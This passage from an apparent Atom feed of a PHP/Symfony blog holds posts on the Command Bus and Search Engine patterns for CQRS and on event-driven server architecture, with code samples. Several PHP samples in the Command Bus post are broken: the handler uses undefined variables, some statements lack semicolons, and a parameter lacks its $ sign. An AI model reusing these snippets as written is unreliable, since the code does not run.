            $request-&gt;query-&gt;all()
        );
        $page = $this-&gt;get('app.search_engine')-&gt;match($criteria)-&gt;take(
            $criteria-&gt;paginating-&gt;offset,
            $criteria-&gt;paginating-&gt;itemsPerPage
        );
        $totalElements = $page-&gt;totalCount();
        $totalPages = (int) ceil($totalElements / $criteria-&gt;paginating-&gt;itemsPerPage);

        return new JsonResponse(array(
            'items' =&gt; iterator_to_array($page-&gt;getIterator()),
            'page' =&gt; array(
                'current_page' =&gt; $criteria-&gt;paginating-&gt;currentPage,
                'per_page' =&gt; $criteria-&gt;paginating-&gt;itemsPerPage,
                'total_elements' =&gt; $totalElements,
                'total_pages' =&gt; $totalPages,
            ),
        ), 200);
    }
}
</code></pre>

<p>And that's it!</p>

<h2 id="conclusion">Conclusion</h2>

<p>Just like using and overusing the "Command Bus" pattern can help us learn more on
how to get the "Command" part of CQRS right, using and overusing the "Repository"
design pattern in combination with the "Specification" one can help us get the
"Query" part right.</p>

<p>Building a private Search Engine component for our project is one way to achieve
this.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Towards CQRS, Command Bus]]></title>
            <link href="/2016/05/11/towards-cqrs-command-bus.html"/>
            <updated>2016-05-11T00:00:00+01:00</updated>
            <id>/2016/05/11/towards-cqrs-command-bus.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: The <code>Command Bus</code> pattern can help you get the CQRS "Command" part right.</p>
</blockquote>

<p>By following the <a href="http://martinfowler.com/bliki/CQRS.html">Command / Query Responsibility Segregation</a>
(CQRS) principle, we separate "write" logic from "read" logic.
This can be applied on many levels, for example on the macro one we can have a
single "Publisher" server (write) with many "Subscribers" servers (read), and on
a micro level we can use this principle to keep our controllers small.</p>

<p>However, transitioning from a regular mindset to a CQRS one can be difficult.</p>

<p>In this article, we'll explore the "Command Bus" pattern, to help us to get the
Command (write) part right.</p>

<h2 id="starting-example">Starting Example</h2>

<p>Let's take the following code for our example:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Controller/ProfileCreationController.php;

namespace AppBundle\Controller;

use AppBundle\Entity\Profile;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;

class ProfileCreationController extends Controller
{
    /**
     * @Route("/api/v1/profiles")
     * @Method({"POST"})
     */
    public function createProfileAction(Request $request)
    {
        $em = $this-&gt;get('doctrine.orm.entity_manager');

        $name = $request-&gt;request-&gt;get('name');
        if (null === $name) {
            return new JsonResponse(array('error' =&gt; 'The "name" parameter is missing from the request\'s body'), 422);
        }
        if (null !== $em-&gt;getRepository('AppBundle:Profile')-&gt;findOneByName($name)) {
            return new JsonResponse(array('error' =&gt; 'The name "'.$name.'" is already taken'), 422);
        }
        $createdProfile = new Profile($name);
        $em-&gt;persist($createdProfile);
        $em-&gt;flush();

        return new JsonResponse($createdProfile-&gt;toArray(), 201);
    }
}
</code></pre>

<p>It's an endpoint allowing us to create new "profiles". All the logic is done in
the Controller:</p>

<ul>
<li>we get a <code>name</code> parameter from the <code>Request</code></li>
<li>we validate it (is it missing? Does it duplicate an existing name?)</li>
<li>we create a new <code>Profile</code> out of it</li>
<li>we persist it</li>
<li>we return it as JSON in the <code>Response</code></li>
</ul>

<h2 id="command-bus">Command Bus</h2>

<p>The Command Bus pattern relies on 3 types of classes:</p>

<ul>
<li><code>Command</code>: encapsulate our input, does simple validation on it</li>
<li><code>CommandHandler</code>: dedicated to a single <code>Command</code>, does the actual logic</li>
</ul>

<p>Finally there's a <code>CommandBus</code> interface allowing us to build <code>Middlewares</code>:</p>

<ol>
<li>we can have a <code>CommandBus</code> that calls the appropriate <code>CommandHandle</code> for the given <code>Command</code></li>
<li>we can have a <code>CommandBus</code> that wraps the above one in a database transaction</li>
<li>we can have a <code>CommandBus</code> that wraps the above ones to logs all incoming commands</li>
<li>we can have a <code>CommandBus</code> that wraps the above ones to check permissions</li>
<li>etc</li>
</ol>

<p><code>Middlewares</code> can do any action we want before and/or after the wrapped <code>CommandBus</code>.
They can be nested in a specific order, allowing us a fine grained control over
how the <code>Command</code> will be handled.</p>

<h2 id="using-command-bus-in-the-controller">Using Command Bus in the controller</h2>

<p>Using our previous example, we're going to create the <code>Command</code> first. It needs
to contain all the input parameters, do a simple validation on it and have an
intention revealing name describing the action we'd like to do:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Profile/CreateNewProfile.php;

namespace AppBundle\Profile;

class CreateNewProfile
{
    public $name;

    public function __construct($name)
    {
        if (null === $name) {
            throw new \DomainException('Missing required "name" parameter');
        }
        $this-&gt;name = (string) $name;
    }
}
</code></pre>

<p>Unit tests can be created for Commands, to document their input requirements:</p>

<pre><code class="php">&lt;?php
// File: tests/AppBundle/Profile/CreateNewProfileTest.php;

namespace tests\AppBundle\Profile;

use AppBundle\Profile\CreateNewProfile;

class CreateNewProfileTest extends \PHPUnit_Framework_TestCase
{
    const NAME = 'Arthur Dent';

    /**
     * @test
     */
    public function it_has_a_name()
    {
        $createNewProfile = new CreateNewProfile(self::NAME);

        self::assertSame(self::NAME, $createNewProfile-&gt;name);
    }

    /**
     * @test
     */
    public function it_cannot_miss_a_name()
    {
        $this-&gt;expectException(\DomainException::class);
        $createNewProfile = new CreateNewProfile(null);
    }
}
</code></pre>

<p>The second step is to create the <code>CommandHandler</code>. It needs to do more complex
validation, and the actual logic associated to the <code>Command</code>'s intention:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Profile/CreateNewProfileHandler.php;

namespace AppBundle\Profile;

use AppBundle\Entity\Profile;
use Doctrine\ORM\EntityManager;

class CreateNewProfileHandler
{
    private $entityManager;

    public function __construct(EntityManager $entityManager)
    {
        $this-&gt;entityManager = $entityManager;
    }

    public function handle(CreateNewProfile $createNewProfile)
    {
        if (null !== $this-&gt;entityManager-&gt;getRepository('AppBundle:Profile')-&gt;findOneByName($createNewProfile-&gt;name)) {
            throw new \DomainException("Invalid \"name\" parameter: \"$name\" already exists and duplicates are not allowed");
        }
        $createdProfile = new Profile($name);
        $em-&gt;persist($createdProfile);
        $em-&gt;flush();

        return $createdProfile
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: a unit test can be created for CommandHandlers, to document use cases
  and their edge cases (happy and unhappy scenario).</p>
</blockquote>

<p>Finally we can use the Command Bus in our controller:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Controller/ProfileCreationController.php;

namespace AppBundle\Controller;

use AppBundle\Profile\CreateNewProfile;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;

class ProfileCreationController extends Controller
{
    /**
     * @Route("/api/v1/profiles")
     * @Method({"POST"})
     */
    public function createProfileAction(Request $request)
    {
        try {
            $createdProfile = $this-&gt;get('command_bus')-&gt;handle(new CreateNewProfile(
                $request-&gt;request-&gt;get('name')
            ));
        } catch (\DomainException $e) {
            return new JsonResponse(array('error' =&gt; $e-&gt;getMessage()), 422);
        }

        return new JsonResponse($createdProfile-&gt;toArray(), 201);
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Exceptions could be handled in an event listener.</p>
</blockquote>

<h2 id="refactoring-the-command-handler">Refactoring the Command Handler</h2>

<p>Our Command Handler is tightly coupled to Doctrine. We can <a href="/2015/10/12/decouple-from-libraries.html">decouple from libraries</a>
by introducing interfaces:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Profile/CreateNewProfileHandler.php;

namespace AppBundle\Profile;

use AppBundle\Profile\Service\CheckProfileNameDuplicates;
use AppBundle\Profile\Service\SaveNewProfile;

class CreateNewProfileHandler
{
    private $checkProfileNameDuplicates;
    private $saveNewProfile;

    public function __construct(
        CheckProfileNameDuplicates $checkProfileNameDuplicates,
        SaveNewProfile $saveNewProfile
    ) {
        $this-&gt;checkProfileNameDuplicates = $checkProfileNameDuplicates;
        $this-&gt;saveNewProfile = $saveNewProfile;
    }

    public function handle(CreateNewProfile $createNewProfile)
    {
        if (true !== $this-&gt;checkProfileNameDuplicates-&gt;check($createNewProfile-&gt;name)) {
            throw new \DomainException("Invalid \"name\" parameter: \"$name\" already exists and duplicates are not allowed");
        }
        $newProfile = new Profile($name); // Entity moved to Profile namespace
        $this-&gt;saveNewProfile-&gt;save($newProfile);

        return $newProfile
    }
}
</code></pre>

<p>In this way, it becomes much easier to write a unit test:</p>

<pre><code class="php">&lt;?php
// File: tests/AppBundle/Profile/CreateNewProfileHandlerTest.php;

namespace tests\AppBundle\Profile;

use AppBundle\Profile\CreateNewProfile;
use AppBundle\Profile\CreateNewProfileHandler;
use AppBundle\Profile\Profile;
use AppBundle\Profile\Service\CheckProfileNameDuplicates;
use AppBundle\Profile\Service\SaveNewProfile;
use Prophecy\Argument;

class CreateNewProfileHandlerTest extends \PHPUnit_Framework_TestCase
{
    const NAME = 'Arthur Dent';

    private $checkProfileNameDuplicates;
    private $saveNewProfile;
    private $createNewProfileHandler;

    protected function setUp()
    {
        $this-&gt;checkProfileNameDuplicates = $this-&gt;prophesize(CheckProfileNameDuplicates::class);
        $this-&gt;saveNewProfile = $this-&gt;prophesize(SaveNewProfile::class);

        $this-&gt;createNewProfileHandler = new CreateNewProfileHandler(
            $this-&gt;checkProfileNameDuplicates-&gt;reveal(),
            $this-&gt;saveNewProfile-&gt;reveal()
        );
    }

    /**
     * @test
     */
    public function it_creates_new_profiles()
    {
        $createNewProfile = new CreateNewProfile(self::NAME);

        $this-&gt;checkProfileNameDuplicates-&gt;check(self::NAME)-&gt;willReturn(false);
        $this-&gt;saveNewProfile-&gt;save(Argument::type(Profile::class))-&gt;shouldBeCalled();

        self::assertType(
            Profile::class,
            $this-&gt;createNewProfileHandler-&gt;handle($createNewProfile)
        );
    }

    /**
     * @test
     */
    public function it_cannot_create_profiles_with_duplicated_name()
    {
        $createNewProfile = new CreateNewProfile(self::NAME);

        $this-&gt;checkProfileNameDuplicates-&gt;check(self::NAME)-&gt;willReturn(true);
        $this-&gt;saveNewProfile-&gt;save(Argument::type(Profile::class))-&gt;shouldNotBeCalled();

        $this-&gt;expectException(\DomainException::class);
        $this-&gt;createNewProfileHandler-&gt;handle($createNewProfile);
    }
}
</code></pre>

<p>Doctrine implementations are easy to write, for example <code>CheckProfileNameDuplicates</code>:</p>

<pre><code class="php">&lt;?php

namespace AppBundle\Profile\Bridge;

use AppBundle\Profile\Service\CheckProfileNameDuplicates;
use Doctrine\ORM\EntityManager;

class DoctrineCheckProfileNameDuplicates implements CheckProfileNameDuplicates
{
    private $entityManager;

    public function __construct($entityManager)
    {
        $this-&gt;entityManager = $entityManager;
    }

    public function check(name)
    {
        return null === $this-&gt;entityManager-&gt;getRepository('AppBundle:Profile')-&gt;findOneByName($name));
    }
}
</code></pre>

<h2 id="to-sum-up">To sum up</h2>

<p>With the Command Bus pattern, we've reduced our controller to the following
responsibilities:</p>

<ul>
<li>Create a Command by extracting input parameters from the Request</li>
<li>Create a Response by using the Command Handler returned value (via the Command Bus)</li>
</ul>

<p>Our Command allows us to make explicit all input parameters and their requirements
(thanks to its unit tests, and by doing a simple validation on them).</p>

<p>Our Command Handler allows us to make explicit the actual logic with and to
highlight its edge cases in tests.</p>

<p>While refactoring our controller, we took the opportunity to use the Dependency
Inversion Principle to decouple our code from thrid party libraries (Doctrine).
This was simply done by introducing interfaces, which have the benefit to provide
more explicit names.</p>

<h2 id="conclusion">Conclusion</h2>

<p>The best way to learn how to get the Command part in CQRS right is to start using
the Command Bus pattern. And to abuse it, by using it everywhere and returning
values from Command Handlers.</p>

<p>Once we feel more at ease with the Command Bus pattern, we can start considering
alternative uses:</p>

<ul>
<li>do we really need a Command Bus? For example do we use any Middlewares?</li>
<li>do we really need to return a value from the Command Handler? For example with asynchronous commands?</li>
<li>do we really need to use it everywhere? For example in "read" endpoints?</li>
</ul>

<p>We might realize that ditching the Command Bus and keeping the Command Handler
and the Command can still be beneficial. We also might realize that Commands don't
solve our "read" logic...</p>

<p>In the next article, we'll experiment with a "Search Engine" pattern to try to
get the Query part of CQRS right!</p>

<p>In the meantime, here's some resources related to Command Bus and CQRS:</p>

<ul>
<li><a href="http://shawnmc.cool/command-bus">CommandBus</a>
by <a href="https://twitter.com/ShawnMcCool">Shawn McCool</a></li>
<li><a href="https://www.reddit.com/r/PHP/comments/29a6qz/what_am_i_missing_with_this_whole_command_bus/">What am I missing with this whole command bus (reddit question)</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/tags/SimpleBus/">A wave of command buses (series)</a>
by <a href="https://twitter.com/matthiasnoback">Matthias Noback</a></li>
<li><a href="https://speakerdeck.com/richardmiller/avoiding-the-mud">Avoid the Mud (slides)</a>
by <a href="https://twitter.com/mr_r_miller">Richard Miller</a></li>
<li><a href="http://verraes.net/2015/01/messaging-flavours/">Messaging Flavours</a>
and <a href="http://verraes.net/2015/02/form-command-model-validation/">Form, Command, Model validation</a>
and also <a href="http://verraes.net/2014/05/functional-foundation-for-cqrs-event-sourcing/">Functional Foundation for CQRS/ES</a>
by <a href="https://twitter.com/mathiasverraes">Mathias Verraes</a></li>
<li><a href="http://tactician.thephpleague.com/">Tactician</a>, a simple Command Bus library for PHP</li>
<li><a href="http://www.udidahan.com/2009/12/09/clarified-cqrs/">Clarified CQRS</a>
by <a href="https://twitter.com/UdiDahan">Udi Dahan</a></li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Event Driven Architecture]]></title>
            <link href="/2016/04/27/event-driven-architecture.html"/>
            <updated>2016-04-27T00:00:00+01:00</updated>
            <id>/2016/04/27/event-driven-architecture.html</id>
            <content type="html"><![CDATA[<p>Ever wondered how <a href="http://nginx.com/">nginx</a> outperforms <a href="https://httpd.apache.org/">Apache</a>
or what does <a href="http://nodejs.org/">NodeJs</a> mean by "event-driven, non-blocking I/O"?</p>

<p>Then you're in luck! This article aims at answering the "how" question, we'll
explore the implementation details of Event Driven Architecture by:</p>

<ol>
<li>implementing a simple (and inefficient) HTTP server</li>
<li>adding multiple client handling to it by creating an Event Loop</li>
<li>adding time control to it by creating a Scheduler</li>
<li>solving the callback hell issue by creating Deferrer and Promise</li>
<li>adding "non-blocking" capacity to "blocking" calls by using a Thread Pool</li>
</ol>

<h2 id="a-story-of-input-%2F-output">A story of Input / Output</h2>

<p>Input / Output (I/O) can refer to Client / Server communication through sockets,
for example a HTTP server.</p>

<p><a href="https://gist.github.com/jboner/2841832#file-latency-txt">Compared to calculations, I/O is really slow!</a>
To understand how this latency can be a performance bottleneck for our applications,
we're going to create a simple HTTP server implementation.</p>

<p>In order to do so, we need to make use of some system calls:</p>

<ol>
<li>create a new "internet" <a href="http://linux.die.net/man/2/socket">socket</a>
(there are other types of sockets, e.g. unix ones)</li>
<li><a href="http://linux.die.net/man/2/bind">bind</a> this socket to a host and port</li>
<li>start to <a href="http://linux.die.net/man/2/listen">listen</a> by creating a connection queue</li>
</ol>

<p>From this point clients can ask the permission to connect to the socket, they're
going to be queued up until the given maximum in <code>listen</code> is reached, at which
point errors are going to be thrown everywhere.</p>

<p>To prevent this nightmare, our priority will be to keep this queue empty by calling
<a href="http://linux.die.net/man/2/accept">accept</a>: it's going to unqueue the first client
and return a new socket dedicated for it, allowing the "server" socket to accept
more clients.</p>

<p>At some point the client will send data in the socket: the HTTP Request. We'll
need to call <a href="http://linux.die.net/man/2/read">read</a> to retrieve it. We usually
need to parse the received string, for example to create a Request value object
our HTTP application can understand.</p>

<p>The HTTP application could then return a Response value object that we'll need
to convert back to string and send it to the client using <a href="http://linux.die.net/man/2/write">write</a>.</p>

<p>Finally, once done we can call <a href="http://linux.die.net/man/2/close">close</a> to get
rid of the client and start accepting more.</p>

<p>If we put everything in a loop that runs forever we can handle one client at a
time. Here's an implementation example (written in pseudo language):</p>

<pre><code class="python"># Socket abstracts `socket`, `bind` and `listen`
http_server = new Socket(host, port, max_connections_to_queue)
while true:
    http_connection = http_server.accept()
    data = http_connection.read()
    request = http_request_parse(data)
    response = application(request)
    http_connection.write((string) response)
    http_connection.close()
</code></pre>

<p>In our loop, for each request we call 3 I/O operations:</p>

<ul>
<li><code>accept</code>, this call will wait until a new connection is available</li>
<li><code>read</code>, this call will <em>wait</em> until some data is sent from the client</li>
<li><code>write</code>, this call will <strong>wait</strong> until the data is sent to the client</li>
</ul>

<p>That's a lot of <strong>waiting</strong>! While we <em>wait</em> for data to be sent, more
clients can try to connect, be queued and eventually reach the limit.</p>

<p>In other words, waiting is blocking. If only we could do something else
while waiting...</p>

<h2 id="hang-on%21">Hang on!</h2>

<p>Turns out we can, thanks to polling system calls:</p>

<ol>
<li>we first have to add sockets we want to use to a collection</li>
<li>we then call <code>poll</code> with the collection of sockets to watch</li>
<li><code>poll</code> will <strong>wait</strong> until it detects activity on those, and returns the ones that are ready</li>
</ol>

<p>As goes the saying: "Blocking. If it's not solving all your problems, you simply
aren't using enough of it".</p>

<blockquote>
  <p><strong>Note</strong>: There's actually many polling system calls:</p>
  
  <ul>
  <li><code>select</code>, a POSIX standard which takes 3 size fixed bitmap of sockets (read, write, error)</li>
  <li><code>poll</code>, another POSIX standard which takes an array of sockets</li>
  <li><code>epoll</code>, a stateful Linux specific system call equivalent to <code>select</code>/<code>poll</code></li>
  <li><code>kqueue</code>, a stateful BSD (that includes Mac OS) specific system call equivalent to <code>select</code>/<code>poll</code></li>
  <li><code>IOCP</code>, a Windows equivalent to <code>epoll</code>/<code>kqueue</code></li>
  </ul>
  
  <p>For more information about those, check <a href="http://www.eecs.berkeley.edu/~sangjin/2012/12/21/epoll-vs-kqueue.html">epoll VS kqueue</a>.
  In our article <code>poll</code> will refer to polling in general, not to a specific implementation.</p>
</blockquote>

<p>With this we can change the architecture of our HTTP server:</p>

<ol>
<li>create the HTTP server socket</li>
<li>add it to the collection of sockets to watch</li>
<li>start our infinite loop:

<ul>
<li>wait until some sockets are ready</li>
<li>if the socket is the HTTP server one:

<ol>
<li><code>accept</code> it to get a HTTP client socket</li>
<li>add the HTTP client socket to the collection of sockets to watch</li>
</ol></li>
<li>if the socket is a HTTP client one:

<ol>
<li><code>read</code> it to get its data</li>
<li>convert the data into a HTTP Request</li>
<li>forward the HTTP Request to the application to get a HTTP Response</li>
<li>convert the HTTP Response to a string and <code>write</code> it</li>
<li><code>close</code> the HTTP client socket</li>
<li>remove the HTTP client socket from the collection of sockets to watch</li>
</ol></li>
</ul></li>
</ol>

<p>Let's change our HTTP server to use <code>poll</code>:</p>

<pre><code class="python">http_server = new Socket(host, port, max_connections_to_queue)
connections = new SocketCollection()
connections.append(http_server)
while true:
    connections_ready = poll(connections)
    for connection in connections_ready:
        if http_server == connection:
            http_connection = http_server.accept()
            connections.append(http_connection)
        else:
            data = connection.read()
            request = http_request_parse(data)
            response = application(request)
            connection.write((string) response)
            connection.close()
            connections.remove(connection)
</code></pre>

<p>Now we can see the advantage of polling: while waiting for data to be ready on
client sockets, we can now accept more connections on the server socket.</p>

<p>Before we continue, let's refactor our code a bit to abstract away the polling
logic:</p>

<pre><code class="python">class EventLoop:
    function append(connection, callback):
        key = (int) connection
        self._connections[key] = connection
        self._callbacks[key] = callback

    function remove(connection):
        key = (int) connection
        self._connections.pop(key)
        self._callbacks.pop(key)

    function run():
        while true:
            connections_ready = poll(self._connections)
            for connection in connections_ready:
                key = (int) connection
                self._callbacks[key](connection, self)
</code></pre>

<p>We've named the class <code>EventLoop</code>: every time something happens (an <em>Event</em>) in
the <em>Loop</em>, we call the appropriate callback. Here's our HTTP server with the
<code>EventLoop</code>:</p>

<pre><code class="python">function handle_http_request(http_connection, event_loop):
    data = http_connection.read()
    request = http_request_parse(data)
    response = application(request)
    http_connection.write((string) response)
    http_connection.close()
    event_loop.remove(http_connection)

function handle_http_connection(http_server, event_loop):
    http_connection = http_server.accept()
    event_loop.append(http_connection, handle_http_request)

http_server = new Socket(host, port, max_connections_to_queue)
event_loop = new EventLoop()
event_loop.append(http_server, handle_http_connection)
event_loop.run()
</code></pre>

<p>In the previous implementation, we couldn't make a distinction between client sockets,
with this refactoring we can split our application even more by waiting for
<code>write</code> to be ready (usually <code>poll</code> is able to make a distinction between sockets
ready to be read and sockets ready to be written).</p>

<p>If we don't have any connections, our server will spend most of its time waiting.
If only we could do something else while waiting...</p>

<h2 id="wait-a-second%21">Wait a second!</h2>

<p>Polling system calls usually take a <code>timeout</code> argument: if nothing happens for
the given time it's going to return an empty collection.</p>

<p>By combining it with a <code>OneOffScheduler</code>, we can achieve interesting things.
Here's an implementation:</p>

<pre><code class="python">class OneOffScheduler:
    function append(interval, callback, arguments):
        self._callbacks[interval][] = callback
        self._arguments[interval][] = arguments

    function lowest_interval():
        return self._callbacks.keys().min()

    function tick():
        for interval, callbacks in self._callbacks:
            if time.now() % interval != 0:
                continue
            for id, callback in callbacks:
                arguments = self._arguments[interval][id]
                callback(arguments)
                self._callbacks[interval].pop(id)
                self._arguments[interval].pop(id)
</code></pre>

<p>By "ticking" the clock we check if any registered callback is due.
The <code>lowest_interval</code> method will allow us to set a smart timeout for <code>poll</code>
(e.g. no callback will mean no timeout, a callback with 5s interval will mean 5s timeout, etc).</p>

<p>Here's our <code>EventLoop</code> improved with the <code>OneOffScheduler</code>:</p>

<pre><code class="python">class EventLoop:
    function constructor():
        self.one_off_scheduler = new OneOffScheduler()

    function append(connection, callback):
        key = (int) connection
        self._connections[key] = connection
        self._callbacks[key] = callback

    function remove(connection):
        key = (int) connection
        self._connections.pop(key)
        self._callbacks.pop(key)

    function run():
        while true:
            timeout = self.one_off_scheduler.lowest_interval()
            connections_ready = poll(self._connections, timeout)
            for connection in connections_ready:
                key = (int) connection
                self._callbacks[key](connection, self)
            self.one_off_scheduler.tick()
</code></pre>

<p>There are many <code>Scheduler</code> variants possible:</p>

<ul>
<li>periodic ones: instead of removing the callback once it's called, we could keep it for the next interval</li>
<li>idle ones: instead of calling callback every time, we could only call them if nothing is ready</li>
</ul>

<p>As goes the saying: "Scheduler. If it's not solving all your problems, you simply
aren't using enough of it".</p>

<p>We're now able to execute actions even if no actual events happened. All we need
is to register in our <code>EventLoop</code> a callback. And in this callback we can also
register a new callback for our <code>EventLoop</code>. And in this callback...</p>

<h2 id="async-what-you-did-here...">Async what you did here...</h2>

<p>That's a lot of nested callbacks! It might become hard to understand the
"flow of execution" of our application: we're used to read "synchronous" code,
not "asynchronous" code.</p>

<p>What if I told you there's a way to make "asynchronous" code look like "synchronous"
code? One of the way to do this is to implement <a href="http://wiki.commonjs.org/wiki/Promises/A">promise</a>:</p>

<ol>
<li>Create a <code>Deferrer</code></li>
<li>ask politely the <code>Deferrer</code> to create a <code>Promise</code>

<ul>
<li>when creating the <code>Promise</code>, the <code>Deferrer</code> injects into it a <code>resolver</code> callback</li>
</ul></li>
<li>register a <code>on_fulfilled</code> callback in the <code>Promise</code>

<ul>
<li>the <code>Promise</code> calls the injected <code>resolver</code> callback with the given <code>on_fulfilled</code> callback as argument</li>
<li>this sets <code>on_fulfilled</code> callback as an attribute in <code>Deferrer</code></li>
</ul></li>
<li>tell the <code>Deferrer</code> that we finally got a <code>value</code>

<ul>
<li>the <code>Deferrer</code> calls the <code>on_fulfilled</code> callback with the <code>value</code> as argument</li>
</ul></li>
</ol>

<p>As goes the saying: "Callback. If it's not solving all your problems, you simply
aren't using enough of it".</p>

<p>Here's an implementation for <code>Deferrer</code>:</p>

<pre><code class="python">class Deferrer:
    function promise():
        return new Promise(self.resolver)

    function resolve(value):
        for on_fulfill in self._on_fulfilled:
            on_fulfill(value)

    function resolver(on_fulfilled):
        self._on_fulfilled.append(on_fulfilled)
</code></pre>

<p>And for <code>Promise</code>:</p>

<pre><code class="python">class Promise:
    function constructor(resolver):
        self._resolver = resolver

    function then(on_fulfilled):
        self._resolver(on_fulfilled)

        return new Promise(resolver)
</code></pre>

<p>And finally here's a basic usage example:</p>

<pre><code class="python">function hello_world(name):
    print 'Hello ' + name + '!'

function welcome_world(name):
    print 'Welcome ' + name + '!'

deferrer = new Deferrer()
promise = new deferrer.promise()
promise.then(hello_world).then(welcome_world)

deferrer.resolve('Igor') # prints `Hello Igor!` and `Welcome Igor!`
</code></pre>

<p>With this, we contain the complexity to two classes, the rest of the application
becomes easier to read: instead of nesting callbacks we can chain them.</p>

<p><code>Promise</code> and <code>Deferrer</code> both look neat. But what's the link with our scheduled
<code>EventLoop</code>? Turns out the link is Filesystem.</p>

<h2 id="filesystem-u%2Fo">Filesystem U/O</h2>

<p>When it comes to Filesystem, we're actually dealing with "U/O" (uh oh) rather
than I/O: they've been ranked as the slowest in the <a href="https://gist.github.com/jboner/2841832#file-latency-txt">latency comparison</a>,
but unlike sockets they are <a href="http://blog.libtorrent.org/2012/10/asynchronous-disk-io/">blocking</a>.</p>

<p>Thankfully we've got a solution for that: wrapping "blocking" filesystem operations
in a class that will simulate a "non-blocking" behavior:</p>

<ol>
<li>ask for regular arguments (e.g. <code>filename</code>), and an additional <code>on_fulfilled</code> callback</li>
<li>execute the "blocking" operation in a thread pool, which acts as a <code>Deferrer</code> and returns a <code>Promise</code></li>
<li>set the <code>Promise</code> callback to add <code>on_fulfilled</code> in the <code>EventLoop</code>, scheduled immediately</li>
</ol>

<p>Here's an implementation example of such a wrapper:</p>

<pre><code>class NonBlockingFilesystem:
    function constructor(event_loop, filesystem, thread_pool):
        self._event_loop = event_loop
        self._filesystem = filesystem
        self._thread_pool = thread_pool

    function open(file, on_opened):
        promise = self._thread_pool.map(self._filesystem.open, file)
        promise.then(lambda file_descriptor: self._on_file_opened(file_descriptor, on_opened))

    function _on_file_opened(file_descriptor, on_opened):
        self._event_loop.scheduler.append(1, on_opened, file_descriptor)

    function read(file_descriptor, on_read):
        promise = self._thread_pool.map(self._filesystem.read, file_descriptor)
        promise.then(lambda content: self._on_file_read(content, on_read))

    function _on_file_read(content, on_read):
        self._event_loop.scheduler.append(1, on_read, content)
</code></pre>

<p>By deferring actual filesystem operations to threads, our HTTP server can accept
more connections and handle more clients until the call is ready.The thread pool
is usually set up with 4 threads.</p>

<p>As goes the saying: "Threading. If it's not solving all your problems, you simply
aren't using enough of it... <strong>NOT!</strong>".</p>

<p>For once, limits are good. If we put too many threads in the pool, we’ll soon
reach another limit: the number of filesystem operations allowed by the kernel.
If we increase this limit, we’ll soon reach another limit: the number of filesystem
operations physically allowed by the hardware
(<a href="https://blog.wyrihaximus.net/2015/03/reactphp-filesystem/#a-word-of-caution">some people tried it, they ended up with burned disks</a>).</p>

<blockquote>
  <p><strong>Note</strong>: Our server and application are still single-threaded. The use of a
  <code>ThreadPool</code> is done in a decoupled way, isolating us from multi-threaded issues.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>By "non-blocking I/O", Node.js means that it's using an Event Loop to make use
of the network latency to handle multiple clients in parallel.</p>

<p>It's been built with <a href="http://libuv.org/">libuv</a>, a low-level C library which
embeds in its Event Loop many types of Schedulers and a Thread Pool: it allows
it to simulate "non-blocking" behavior by wrapping "blocking" calls
(e.g. Filesystem).</p>

<p>Instead of implementing our server in a "sequential" way, like Apache2 does, we
can instead implement it with "polling events" in mind: nginx is using this
"Event-Driven Architecture" and it allows it <a href="https://www.nginx.com/blog/nginx-vs-apache-our-view/">to outperform Apache</a>.</p>

<p>Systems built in this way often use Promises, as they help us perceive our
"asynchronous" code as "synchronous".</p>

<p>If you're interested to read more on the topic, here are some links:</p>

<ul>
<li><a href="https://speakerdeck.com/igorw/build-your-own-webserver-with-php">PHP - build your own server</a></li>
<li><a href="https://speakerdeck.com/igorw/react-phpnw">ReactPHP</a></li>
<li><a href="https://blog.wyrihaximus.net/2015/01/reactphp-introduction/">ReactPHP - components</a></li>
<li><a href="https://medium.com/async-php/reactive-php-events-d0cd866e9285">ReactPHP - reactive PHP events</a></li>
<li><a href="https://medium.com/async-php/co-operative-php-multitasking-ce4ef52858a0">PHP - co-operative PHP multitasking</a></li>
<li><a href="http://stackoverflow.com/questions/22644328/when-is-the-thread-pool-used/22644735#22644735">Node.js - When is the Thread Pool used?</a></li>
<li><a href="https://www.future-processing.pl/blog/on-problems-with-threads-in-node-js/">Node.js - Thread Pool usage</a></li>
<li><a href="http://www.kegel.com/c10k.html">C - the C10K problem</a></li>
<li><a href="http://www.binarytides.com/multiple-socket-connections-fdset-select-linux/">C - Handle multiple socket connections with fd_set and select on Linux</a></li>
<li><a href="http://www.kegel.com/dkftpbench/nonblocking.html">C - Introduction to non-blocking I/O</a></li>
<li><a href="http://pod.tst.eu/http://cvs.schmorp.de/libev/ev.pod">C - libev documentation</a></li>
<li><a href="http://docs.libuv.org/en/v1.x/">C - libuv documentation</a></li>
<li><a href="https://nikhilm.github.io/uvbook/introduction.html">C - libuv online book</a></li>
</ul>

<blockquote>
  <p><strong>Note</strong>: In the PHP landscape, there are many libraries that allow us to build
  Event Driven applications:</p>
  
  <ul>
  <li><a href="http://reactphp.org/">ReactPHP</a></li>
  <li><a href="http://icicle.io/">IcicleIO</a></li>
  <li><a href="http://amphp.org/">Amphp</a></li>
  </ul>
  
  <p>There's even a <a href="https://github.com/async-interop/">PHP Async Interop Group</a>
  that started researching, to create PHP Standard Recommandation (PSR) for
  Event Loops, Promise, etc.</p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Super Speed Symfony - nginx]]></title>
            <link href="/2016/04/20/super-speed-sf-nginx.html"/>
            <updated>2016-04-20T00:00:00+01:00</updated>
